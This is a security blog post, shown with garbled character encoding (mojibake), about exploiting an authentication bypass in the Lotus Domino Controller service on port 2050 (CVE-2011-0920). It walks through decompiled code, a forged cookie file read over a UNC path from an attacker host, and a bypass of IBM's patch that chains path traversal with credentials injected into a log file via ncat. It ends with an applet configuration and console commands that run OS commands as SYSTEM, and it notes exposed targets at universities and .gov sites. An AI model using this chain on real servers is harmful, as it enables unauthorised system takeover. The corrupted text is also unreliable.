Lotus Domino ControllerãµãŒãã¹ã®è匱æ§ãå©çšãã
æè¿ããããããã³ãã¹ãã§ã人æ°ã®ãããœãããŠã§ã¢ã®0æ¥éã®è匱æ§ãç¹å®ãããããã©ã€ããŒããªãšã¯ã¹ããã€ããéçºãããããæ¹æ³ã«ã€ããŠã®è©±ãããããŸãã å®éããã®çš®ã®åé¡ã¯ããã³ãã¹ãäžã«ãã£ãã«éžæçã«è§£æ±ºããããããã«ã¯çç±ããããŸãã
ããã§ããç§ã¯ãã®ãããªåé¡ã解決ãããšãããã³ãã¹ããå調ãªã¹ãã£ã³ããã«ãŒããã©ãŒã¹ãWebã¢ããªã±ãŒã·ã§ã³ã®ãã©ã¡ãŒã¿ãŒãžã®åŒçšã®ç¯å²ãè¶ ããæ¹æ³ã«ã€ããŠã®ã¹ããŒãªãŒïŒãããã¹ããŒãªãŒïŒãå ±æããããšæããŸãã ã€ãŸãããã®æçš¿ã§ã¯ã Lotus Domino Server Controllerã®åçŽãªãã°ããã©ã€ããŒããšã¯ã¹ããã€ãã®äœææ¹æ³ãããã³çŸåšã§ãé¢é£ãããŒããã€åé¡ã«ã€ããŠèª¬æããŸãã

äŸµå ¥ãã¹ã
ã ãããäŸµå ¥ãã¹ãã ãã®ãããã¯ã¯ãæ¯å¹ŽããŸããŸãªããã°ãããŸããŸãªå°é家ã§çå®ã«çèãããŠããŸãã ããã¯å¶ç¶ã§ã¯ãããŸããããã®ãµãŒãã¹ã«ã¯å€ãã®ç°ãªã埮åŠããšèœãšãç©ŽããããŸãã ããããç§ã¯ãã®ããšã®å¿ èŠæ§ãæçšæ§ãå 容ã«ã€ããŠæ°Žãããç«ãŠãã€ããã¯ãããŸãããäœåèªäœã«ã€ããŠã話ããããšæããŸãã ãã³ãã¹ãããã³ãã¹ãã«ãããã®ã«ã€ããŠã
ãã³ãã¹ã¿ãŒã¯ãæ å ±ã·ã¹ãã ã®ã³ã³ããŒãã³ãã«å¯Ÿããæ»æã®å®è£ ãšããäž»èŠãªã¿ã¹ã¯ãéè¡ããããã«ãå€ãã®ãµãã¿ã¹ã¯ã解決ããŸãã åæã«ãã¡ã€ã³ã¿ã¹ã¯ã®ãããã¯ã«é¢ãã詳现ãªèª¬æãšå¯èœãªããªãšãŒã·ã§ã³ãæ¬åŒ§ã®å€ã«æ®ããŸããããã¯ä»ãèå³æ·±ããã®ã§ã¯ãããŸãããããæå 端ãã®2ã€ãŸãã¯3ã€ã®ãµãã¿ã¹ã¯ããããŸãã
- è匱æ§ã®æ€çŽ¢ïŒããã³ç¢ºèªïŒ
- ãšã¯ã¹ããã€ãéçº
- è匱æ§ã®æªçš
ãã³ãã¹ãã®1ã€ã§ãPoCãåé¡ã®è©³çŽ°ãªèª¬æããªããŠããå ¬éãããŠãããšã¯ã¹ããã€ããªãã§äžé£ã®è匱æ§ãçºèŠãããŸããã ãã®ããããã®ãããªè匱æ§ã®1ã€ãšããŠããã¹ãŠãèªåã§åŠã³ããã©ã€ããŒããšã¯ã¹ããã€ããäœæããããšã決å®ãããŸããã
Lotus Domino Server Controllerã®èªèšŒãã€ãã¹
CVE-2011-0920
ãã®è匱æ§ã¯Patrick Karlssonã«ãã£ãŠçºèŠããã ZDIã§å èã売ããŸããã ãããã£ãŠãZDI Webãµã€ãããã®èª¬æã¯ãç§ãã¡ãæã£ãŠããå¯äžã®æ å ±ã§ãã çãæ¹å®ïŒ
ãDomino ControllerãµãŒãã¹ã®è匱æ§ãTCPããŒã2050ãèªèšŒäžãæ»æè ã¯COOKIEFILEãã©ã¡ãŒã¿ãŒãUNCãã¹ãšããŠèšå®ãããœãŒã¹èªèšŒããŒã¿ãšèªèšŒå€ã®å¶åŸ¡ã確ç«ã§ããŸãã ããã«ãããèªèšŒæ€èšŒã¡ã«ããºã ããã€ãã¹ããŠã管çã³ã³ãœãŒã«ã«ã¢ã¯ã»ã¹ã§ããŸãã SYSTEMç¹æš©ã§ã³ãŒããå®è¡ããŸããã
説æã¯ã詳现ã§ã¯ãããŸããããäœãèµ·ãã£ãŠãããã«ã€ããŠååã«è¿°ã¹ãŠããŸãã ããã¯ãããŒãçªå·2050ã«æ¥ç¶ãããããã³ã«ãä»ããŠCOOKIEFILEãã©ã¡ãŒã¿ãŒãã¹ãªããããŠã\\ ATTACKER_HOST \ FILEãªã©ã®ãã¹ã瀺ãããšãã§ããããšãæå³ããŸãã ãããŠããã®ãã¡ã€ã«ã«ãŠãŒã¶ãŒåãšãã¹ã¯ãŒããå ¥åããåããŠãŒã¶ãŒåãšãã¹ã¯ãŒãã䜿çšããŠãã°ã€ã³ããŸãã ãããã³ã«ãšãã¡ã€ã«åœ¢åŒã解æããããã«ãå°ãã ãæ®ã£ãŠããŸãã Nmapã¹ãã£ã³ã䜿çšãããšããã¹ãŠã®äœæ¥ãSSLãä»ããŠè¡ãããŠããããšã確èªã§ããŸãããSSLã©ãããŒã®éä¿¡ãããã³ã«ã¯åŒãç¶ã衚瀺ãããŸãã å®éãéåžžã«ç°¡åã§ããLotusDomino ControllerãµãŒãã¹ã¯ãã¯ã©ã€ã¢ã³ãéšåãšãµãŒããŒéšåã®äž¡æ¹ããã¹ãŠ1ã€ã®ãã¡ã€ã«ã§Javaã§å®å šã«èšè¿°ãããŠããããšã«æ³šæããã ãã§ååã§ãã
C:\Program Files\IBM\Lotus\Domino\Data\domino\java\dconsole.jar
ãã®ãã¡ã€ã«ã¯ç°¡åã«éã³ã³ãã€ã«ã§ããŸãïŒããšãã°ã DJ Java Decompilerã䜿çšããŸãããæã¿ã©ããã§ã¯ãããŸããïŒã ãã®åŸããªã¯ãšã¹ãã®æ¥ç¶ãšåŠçãæ åœããã³ãŒããæ¢ããŸãã èŠæ±åŠçã¯ãã¯ã©ã¹NewClientã§å®è¡ãããŸãã ãã®ã¯ã©ã¹ã§ã¯ãïŒCOMMAND param1ãparam2ã...ãšãã圢åŒã®ãã¬ãŒã³ããã¹ããªã¯ãšã¹ãã解æãããŸãããã¹ãŠã®ã³ãã³ãã¯åå¥ã«èª¬æãããŠããŸãã
. . . // ReadFromUser(); // s1 â 2050/tcp if(s1.equals("#EXIT")) return 2; . . . if(s1.equals("#APPLET")) return 6; . . . if(s1.equals("#COOKIEFILE")) if(stringtokenizer.hasMoreTokens()) // - // : #COOKIEFILE <cookieFilename> cookieFilename = stringtokenizer.nextToken().trim(); // return 7; . . . if(s1.equals("#UI")) if(stringtokenizer.hasMoreTokens()) // : #UI <login>,<password> usr = stringtokenizer.nextToken(",").trim(); //Login if(usr == null) return 4; if(stringtokenizer.hasMoreTokens()) // passwords pwd = stringtokenizer.nextToken().trim(); //Password return 0;
ãã®ãããCOOKIEFILEãã©ã¡ãŒã¿ãŒãæºãããŸããã ãã ãã1ã€ã§ã¯äžååã§ãã ã¡ã€ã³ã«ãŒãã«ã€ããŠèããŸãã
do { int i = ReadFromUser(); //Point.1 if(i == 2) break; //if #EXIT . . . if(i == 6) //if #APPLET Point.2 { appletConnection = true; continue; } . . . // admindata.xml . . . if(userinfo == null) //Point.9 { // admindata.xml WriteToUser("NOT_REG_ADMIN"); continue; } . . . if(!appletConnection) //Point.3 flag = vrfyPwd.verifyUserPassword(pwd, userinfo.userPWD()) else flag = verifyAppletUserCookie(usr, pwd); // if #APPLET . . . if(flag) WriteToUser("VALID_USER"); else WriteToUser("WRONG_PASSWORD"); } while(true); if(flag) { // . . . }else { // }
ã芧ã®ãšããã2ã€ã®èªèšŒãªãã·ã§ã³ããããŸãïŒPoint.3ïŒã 1ã€ç®ã¯ãã°ã€ã³ãšãã¹ã¯ãŒãã«ãããã®ã§ã2ã€ç®ã¯ãã°ã€ã³ãšãã¹ã¯ãŒãã«ãããã®ã§ãããCOOKIEFILEã䜿çšããŸãã ãã®å Žåã2çªç®ã®ãªãã·ã§ã³ã¯ããã®åã«#APPLETïŒPoint.2ïŒã³ãã³ãããã£ãå Žåã«ã®ã¿éžæãããŸãã ãã¹ãŠã®ã³ãã³ãã¯ã«ãŒãã§é çªã«èªã¿èŸŒãŸããŸãïŒPoint.1ïŒã ãããã£ãŠãïŒCOOKIEFILEã ãã§ã¯ååã§ã¯ãããŸããã
ããã§ãããã³ã«ã®åœ¢åŒãããããŸããããã¡ã€ã«èªäœã®åœ¢åŒã¯äœã§ããïŒ verifyAppletUserCookieé¢æ°ãæ€èšããŠãã ããã
File file = new File(cookieFilename); //Point.4 . . . inputstreamreader = new InputStreamReader(new FileInputStream(file), "UTF8"); . . . inputstreamreader.read(ac, 0, i); //Point.5 . . . String s7 = new String(ac); . . . do { if((j = s7.indexOf("<user ", j)) <= 0) //Point.6 break; int k = s7.indexOf(">", j); if(k == -1) break; String s2 = getStringToken(s7, "name=\"", "\"", j, k); //Point.7 . . . String s3 = getStringToken(s7, "cookie=\"", "\"", j, k); . . . String s4 = getStringToken(s7, "address=\"", "\"", j, k); . . . //Point.8 if(usr.equalsIgnoreCase(s2) && pwd.equalsIgnoreCase(s3) &&\ appletUserAddress.equalsIgnoreCase(s4)) { flag = true; break; } . . . } while(true);
Point.4ãšããŠã³ã¡ã³ãåãããè¡ã§ãã¡ã€ã«ãéãããã®ååããŠãŒã¶ãŒã«ãã£ãŠèšå®ãããŠããããšãããããŸãïŒå€æ°ã¯#COOKIEFILEã³ãã³ãã®è§£ææã«ReadFromUserïŒïŒé¢æ°ã§åæåãããŸãïŒã ããã«ãå ¥åã¯ãããªãæ¹æ³ã§ããã£ã«ã¿ãªã³ã°ããããå°ãªããšãUNCãã¹ãååšããå¯èœæ§ããããŸãã 次ã«ããã¡ã€ã«ã¯s7è¡ïŒPoint.5ïŒã«èªã¿èŸŒãŸããŸãã 次ã«ããã®è¡ã¯ã«ãŒãã§åŠçãããŸããããã¯ã次ã®åœ¢åŒã®éåžžã®XMLãã¡ã€ã«ã§ããããšãããããŸãã
<user name=âusrâ cookie=âpassâ address=âvalueâ>
次ã«ãPoint.8ãšããŠã³ã¡ã³ãåãããè¡ã§ããã°ã€ã³ããã¹ã¯ãŒããããã³ã¢ãã¬ã¹ã®å€ïŒ#ADDRESSïŒã察å¿ããã¿ã°å±æ§ãšæ¯èŒãããŸãã ãã®ãã¡ã€ã«ã¯ïŒUNCãã¹ãã¹ãªããããããšã«ããïŒãªã¢ãŒããã¹ãããèªã¿åãããšãã§ãããããæ»æã¯ç°¡åãã€æçœã«ãªããŸãã
ããã¯ãZDI-11-110ã®è匱æ§ã®æªçšæ¹æ³ã§ãã
1.ãã¡ã€ã«ïŒcookie.xmlïŒãäœæããŸãã
<user name="admin" cookie="dsecrg" address="10.10.0.1">
2. ncatã䜿çšããŸã

ã#APPLETãã³ãã³ãã¯ãèªèšŒã«Cookieã䜿çšããããšããµãŒããŒã«æ瀺ããŸãã ããã§ããïŒUIãã³ãã³ãã䜿çšããŠèªèšŒãè©Šã¿ããšããµãŒããŒã¯ã#COOKIEFILEãã䜿çšããŠæå®ãããã¹ã«æ²¿ã£ãŠãã¡ã€ã«ãéãããšããŸãã ãã®åŸã圌ã¯ããããèªèšŒããŒã¿ãååŸããïŒUIã³ãã³ãã®åŸã«å ¥åãããããŒã¿ãšæ¯èŒããŸãã ã#EXITãã³ãã³ãã®åŸããµãŒããŒã¯èªèšŒããããŠãŒã¶ãŒã®å ¥ååŠçãéå§ããOSã³ãã³ããå®è¡ããã ãã§ãªãããµãŒãã¹ãæ¢ã«ç®¡çã§ããŸãã
ããšã話ã¯çµãã£ãããã§ãã ããã«ãIBMã¯ãã®åé¡ãä¿®æ£ããŸããã ãããã®ã€ãããŒã·ã§ã³ã¯ãããŒãžã§ã³8.5.2FP3ããã³8.5.3以éã«ç»å ŽããŠããŸãã
ä¿®æ£1ã

çŸåšãããŒã2050ã«æ¥ç¶ããã«ã¯æå¹ãªã¯ã©ã€ã¢ã³ã蚌ææžãå¿ èŠã§ãã ã€ãŸããNcatãšNmapã¯ããŒã2050ã§ã¯åäœããªããªããŸããã
ä¿®æ£2ã

çŸåšããã¡ã€ã«åã®åã«ãã\ããè¿œå ãããŠããŸããããã¯ãUNCã䜿çšã§ããªããªã£ãããšãæå³ããŸãã è匱æ§ãä¿®æ£ãããŸããã ãããã¯é©åãªããã§ãã
ããã¯å®éã«ã¯ããã§ã¯ãããŸããã ã³ãŒãã®è¡ãããäžåºŠèŠãŠãã ããïŒPoint.6ããã³Point.7ãšããŠã³ã¡ã³ãåãããŠããŸãïŒã getStringTokené¢æ°ã¯ãå®éã«ã¯ãµãã¹ããªã³ã°ã§ãã ãããã£ãŠããã®ã¢ãžã¥ãŒã«ãå®è£ ãããšãã«ããã°ã©ããŒãç¬èªã®XMLããŒãµãŒãèšè¿°ããããšã«é Œã£ãã®ã¯ãéåžžã«æçœãªè³ªåã§ãã æããã«ããã®ããŒãµãŒã¯ã察å¿ããè¡ãå«ããã¹ãŠã®ãã¡ã€ã«ã§æ©èœããŸãïŒã<userãããname =ããªã©ã èšãæãããšãç§ãã¡ãæåŸ ãããã®ã¯æ¬¡ã®ãšããã§ãã
<user name="usr" cookie="psw" address="dsecrg">
ããããããã«ããªããæ»ã蟌ãããšãã§ãããã®ããããããã¯åæ§ã«è§£æãããŸãïŒ
trashtrash<user sdsdasdsdname=âusrâsadasd asdnkasdk cookie=âpswâsssssaddress=âdsecrgâbf %>
ããã¯ã©ãããæå³ã§ããïŒ ã©ããããã³ãŒãã®åãã»ã¯ã·ã§ã³ã«å¥ã®è匱æ§ãèŠã€ãããŸããã ã€ãŸããããŒã«ã«ãã¡ã€ã«ã«æ¥ç¶ããæ©èœãšçµã¿åãããŠïŒUNCã¯ã§ããŸãããããã©ããŒãµã«ãã£ã¬ã¯ããªã¯æ¬¡ã®ããã«ã§ããŸãïŒ#COOKIEFILE .. \ .. \ .. \ .. \ file-> ã\ .. \ .. \ .. \ fileïŒãæžã蟌ã¿å¯èœãªãã¡ã€ã«ã«èªèšŒããŒã¿ãæ¿å ¥ã§ããŸãã
äŸïŒ
1. Microsoft HTTPAPIãµãŒãã¹ã䜿çšããæ³šå ¥å¯èœãªCookieå€ïŒé©åãªã¿ã€ãã³ã°ã§è»ã®æµã®ãµãŒããŒã§ãã®ãã°ãã¡ã€ã«ãèŠã€ããŠãããæ°Žå·®ãã«æè¬ïŒïŒ
C:\> ncat targethost 49152 GET /<user HTTP/1.0 C:\> ncat targethost 49152 GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0
ããã§\ r \ nã¯Enterã ãã§ãïŒ
2.ãµãŒããŒäžã®ãã°ãã¡ã€ã«ã¯æ¬¡ã®ããã«ãªããŸãã
#Software: Microsoft HTTP API 2.0 #Version: 1.0 #Date: 2011-08-22 09:19:16 #Fields: date time c-ip c-port s-ip s-port cs-version cs-method cs-uri sc-status s-siteid s-reason s-queuename 2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest - 2011-08-22 09:19:16 10.10.10.101 46234 10.10.9.9 47001 HTTP/1.0 GET / 404 - NotFound - 2011-08-26 11:53:30 10.10.10.101 52902 10.10.9.9 47001 HTTP/1.0 GET <user 404 - NotFound - 2011-08-26 11:53:30 10.10.10.101 52905 10.10.9.9 47001 HTTP/1.0 GET name="admin"cookie="pass"address="http://twitter/asintsov"> 404 - NotFound - 2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest -
IBMããŒãµãŒã¯ãæ«å°Ÿã«ã¹ããŒã¹ãå«ãæååã<userããæ€çŽ¢ãããããå¶ç¶ã§ã¯ãªã2ã€ã®èŠæ±ãè¡ãããŸããã ãŸãããªã¯ãšã¹ãå ã®ãã¹ãŠã®ã¹ããŒã¹ã¯ãïŒ 20ããšããŠãšã³ã³ãŒããããŠãããããããã¯ç§ãã¡ã«ã¯é©ããŠããŸããã 次ã«ãã<userãã®åŸã«WebãµãŒããŒèªäœãã¹ããŒã¹ãèšå®ããããã«æåã®ãªã¯ãšã¹ããäœæããŸãïŒãªã¯ãšã¹ããšçµæã404-NotFoundãã®éã«ïŒã 2çªç®ã®ã¯ãšãªã§ã¯ãæ®ããããã·ã¥ããŸãã
ããŠãã»ãšãã©ãã¹ãŠã®æºåãæŽããŸãããSSL蚌ææžããªãããã2050ãžã®æ¥ç¶æ¹æ³ãåŠã¶ã ãã§ãã ãããšããããŸããïŒ dconsole.jarã¯ã¢ãã¬ãããšããŠã®ã¯ã©ã€ã¢ã³ãéšåã«ã責任ãããããšãæãåºããŠãããã«èšŒææžãããã¹ãã§ããããšã¯æããã§ã-ãããŠããã¯ããã«ãããŸãã ãããŠéµã¯ããã«ãããŸãã ãã¹ãŠãããã«ãããŸãã ååãšããŠãããŒãåŒãåºããŠãšã¯ã¹ããã€ããäœæã§ããŸãããé¢åãããå Žåã¯ããã®ã¢ãã¬ãããçŽæ¥äœ¿çšã§ããŸãã
<applet name = "DominoConsole" code = "lotus.domino.console.DominoConsoleApplet.class" codebase = "http://127.0.0.1/domjava/" archive = "dconsole.jar" width = "100%" height = "99%â> <PARAM NAME="debug" VALUE="true"> <PARAM NAME="port" VALUE="2050"> <PARAM NAME="useraddress" VALUE="http://twitter/asintsov"> <PARAM NAME="username" VALUE="admin"> <PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log"> <PARAM NAME="cookievalue" VALUE="pass"> <PARAM NAME="onLoad" VALUE="onLoadConsole"> </applet>
ãã®ã¢ãã¬ãããä»»æã®ãã©ãŠã¶ãŒã«ããŒãããããŒã«ã«ããŒã2050ãããªã¢ãŒãããŒãã«ãªãã€ã¬ã¯ããè¿œå ããã ãã§ãå¹æãåŸãããŸãã ãããªã®äŸïŒ
ã³ã³ãœãŒã«ããã³ãã³ããå®è¡ããŸãã ãªãã·ã§ã³1ïŒ
LOAD cmd.exe /c command
ã³ã³ãœãŒã«ããã³ãã³ããå®è¡ããŸãã ãªãã·ã§ã³2ïŒ
$ command
ä¿è·ïŒ
- ããŒã2050ã¯å®éã«ãã£ã«ã¿ãªã³ã°ããå¿ èŠããããŸãã
- è¿œå ã®ã³ã³ãœãŒã«ãã¹ã¯ãŒããèšå®ããŠãã³ã³ãœãŒã«ã§å±éºãªã³ãã³ããç¡å¹ã«ããŸãïŒæåã®ããŒãžã§ã³ã§ã¯ã³ã³ãœãŒã«ããã³ãã³ããå®è¡ã§ããªãããã«ããŸãïŒã
- ãã¡ã€ã«admindata.xmlã確èªããŠãã ããã åãŠãŒã¶ãŒã«ã€ããŠãç¹æš©ã確èªããå¿ èŠããããŸãã 4ã25ããŸãã¯26ã®å€ã¯ããã®ãŠãŒã¶ãŒãã·ã¹ãã ã³ãã³ããå®è¡ããæš©å©ãæã£ãŠããããšã瀺ããŸãïŒ ããããåé€ããããšã«ããã2çªç®ã®ããŒãžã§ã³ã®ã³ã³ãœãŒã«ããã³ãã³ããå®è¡ããªãããã«ä¿è·ããŸãã
泚ïŒ
äžèšã®ãã¹ãŠã®ãªãã·ã§ã³ã®æ»æè ã¯ãèªèšŒãæ£åžžã«ãã€ãã¹ããããã«ãæ£ãããã°ã€ã³å€ãç¥ã£ãŠããå¿ èŠããããŸãã ãã°ã€ã³ãååšããªãå Žåã¯NOT_REG_ADMINãšã©ãŒãçæããããã¹ã¯ãŒããæ£ãããªãå Žåã¯WRONG_PASSWORDïŒPoint.9ïŒã§ããããããããã®å Žåãåæã§ããŸãã
ã€ã³ã¿ãŒãããããã®PSæ»æ
ãµããããã¢ã¹ã¯ã¯å€§åŠïŒ

.govãã¡ã€ã³ããŸãã¯ã¢ã¡ãªã«ã®ç§åŠè ã¯ãã¡ã€ã¢ãŠã©ãŒã«ã奜ãã§ã¯ãããŸããïŒ

IBMèªäœã§ãããããŒã2050ããã£ã«ã¿ãªã³ã°ããŠLotusãæŽæ°ããããšã¯ã§ããŸããïŒ+ãã°ã€ã³ãæšæž¬ãããã¢ïŒïŒ

çµè«
- ããããåžžã«åé¡ãæåŸãŸã§è§£æ±ºãããšã¯éããŸããã
- ãã¡ã€ã¢ãŠã©ãŒã«ã¯æé«ã®ä¿è·ã§ãã
- çµã¿èŸŒã¿ã®ã»ãã¥ãªãã£èšå®ãç¡èŠããªãã§ãã ããã
...ãããŠã0dayè匱æ§ã§ããã²ã©ããã®ã§ã¯ãããŸããã